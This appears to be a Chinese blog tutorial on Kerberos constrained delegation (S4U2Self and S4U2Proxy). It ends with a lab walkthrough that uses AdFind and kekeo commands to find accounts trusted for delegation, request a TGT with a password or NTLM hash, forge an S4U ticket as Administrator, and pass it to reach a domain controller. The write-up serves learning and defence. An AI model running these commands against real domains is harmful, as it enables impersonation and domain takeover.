• 域渗透委派攻击之约束委派


    约束委派

    约束委派(Constrained Delegation)即 Kerberos 的扩展协议 S4U2Proxy,服务账号只能获取某用户的 TGS ,从而只能模拟用户访问特定的服务,这也相对应非约束委派更安全一些。

    约束委派攻击原理及利用

    由于非约束委派的不安全性(配置了非约束委派的机器在 LSASS 中缓存了用户的 TGT 票据可模拟用户去访问域中任意服务),微软在 Windows Server 2003 中引入了约束委派,对 Kerberos 协议进行拓展,引入了 S4U (S4U2Self / S4U2proxy), 运行服务代表用户向 KDC 请求票据。

    • S4U2self (Service for User to S4U2Self) 可以代表自身请求针对其自身的 Kerberos 服务票据(ST);如果一个服务账户的 userAccountControl 标志为 TRUSTED_TO_AUTH_FOR_DELEGATION, 则其可以代表任何其他用户获取自身服务的 TGS/ST。

    • S4U2proxy(Service for User to Proxy) 可以以用户的名义请求其它服务的 ST,限制了 S4U2proxy 扩展的范围。服务帐户可以代表任何用户获取在 msDS-AllowedToDelegateTo 中设置的服务的 TGS/ST,首先需要从该用户到其本身的 TGS/ST,但它可以在请求另一个 TGS 之前使用 S4U2self 获得此 TGS/ST。

    不同于允许委派所有服务的非约束委派,约束委派的目的是在模拟用户的同时,限制委派机器/帐户对特定服务的访问。

    S4U2self

    (1) 用户向 service1 发送请求。用户已通过身份验证,但 service1 没有用户的授权数据。通常,这是由于身份验证是通过 Kerberos 以外的其他方式验证的。

    (2) 通过 S4U2self 扩展以用户的名义向 KDC 请求用于访问 service1 的 ST1。

    (3) KDC 返回给 service1 一个用于用户验证 service1 的 ST1,该 ST1 可能包含用户的授权数据。

    (4) service1 可以使用 ST 中的授权数据来满足用户的请求,然后响应用户。

    尽管 S4U2self 向 service1 提供有关用户的信息,但 S4U2self 不允许 service1 代表用户发出其他服务的请求,这时候就轮到 S4U2proxy 发挥作用了。

    S4U2proxy:

    (5) 用户向 service1 发送请求,service1 需要以用户身份访问 service2 上的资源。

    (6) service1 以用户的名义向 KDC 请求用户访问 service 2的 ST2。

    (7) 如果请求中包含 PAC,则 KDC 通过检查 PAC 的签名数据来验证 PAC ,如果 PAC 有效或不存在,则 KDC 返回 ST2 给 service1,但存储在 ST2 的 cname 和 crealm 字段中的客户端身份是用户的身份,而不是 service1 的身份。

    (8) service1 使用 ST2 以用户的名义向 service2 发送请求,并判定用户已由 KDC 进行身份验证。

    (9) service2 响应步骤 8 的请求。

    (10) service1 响应用户对步骤 5 中的请求。

    域环境

    域管:dc1 10.10.10.142

    备用域管:dc2 10.10.10.140

    域用户1:12server1 10.10.10.152

    域用户2: 12server2 10.10.10.138

    环境搭建

    此处如果没有用户,需要新建个用户,加上spn标识为服务用户

    setspn -A cifs/12server2.redteam.club websec 
    设置服务用户对websec的cifs服务的委派

     

    配置服务账号,添加域控主机名ad1

     

    已知在约束委派的情况下,服务用户只能获取某个用户或者主机的服务ST,只能用模拟用户访问特定的服务,
    是无法获取用户的TGT的,如果能够获得到开启了约束委派的服务的用户的明文密码或者hash就可以伪造S4U
    的请求,进而伪造服务用户以任意账户的权限访问服务的ST

    漏洞复现

    设置约束用户存在 TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION 关键字

    使用命令查询约束用户

    AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368)(msdsallowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

     

    通过kekeo请求服务用户的TGT
    tgt::ask /user:websec /domain:redteam.club /password:pass@123 /ticket:test.kirbi
    同理此处利用ntlm hash也是可以进行请求的
    tgt::ask /user:websec /domain:redteam.club /NTLM:XXXXX

     

    利用这个票据通过伪造S4U请求以administrator身份访问websec的ST
    tgs::s4u /tgt:TGT_websec@REDTEAM.CLUB_krbtgt~redteam.club@REDTEAM.CLUB.kirbi /user:Administrator@redteam.club /service:cifs/ad1.redteam.club

     

    这时候kekeo当前路径下会出现administrator的ticket (用于访问websec的CIFS服务),导入这个tiket即可 访问websec的cifs服务: 使用kekeo导入票据访问域控

    keberos::ptt
    TGS_Administrator@redteam.club@REDTEAM.CLUB_cifs~ad1.redteam.club@REDTEAM.CLUB.k
    irbi

     

    访问域控

    参考链接

    域渗透委派攻击之约束委派_全局变量Global的博客-CSDN博客_约束委派

    域渗透之委派攻击详解(非约束委派/约束委派/资源委派) - 腾讯云开发者社区-腾讯云

    斩尽杀绝,这是对一个文明最高的重视

     

  • 相关阅读:
    【MySQL】BIT_OR函数在二进制分组group by中的妙用
    【ubuntu】中screen的安装与使用
    【华为机试真题 JAVA】水仙花数 Ⅰ-100
    19.在springboot中集成dubbo(zookeeper)
    html+css+js实现简单的交互效果
    【Linux】—— 常见指令の图解总结(万字详解)
    猿创征文 第二季| #「笔耕不辍」--生命不息,写作不止#
    Python爬虫之Urllib(内置库)
    Cisco Firepower 9300 Series FTD Software 7.2.0 & ASA Software 9.18.1
    面试真题:消费者积压问题的答案
  • 原文地址:https://blog.csdn.net/qq_56426046/article/details/127839243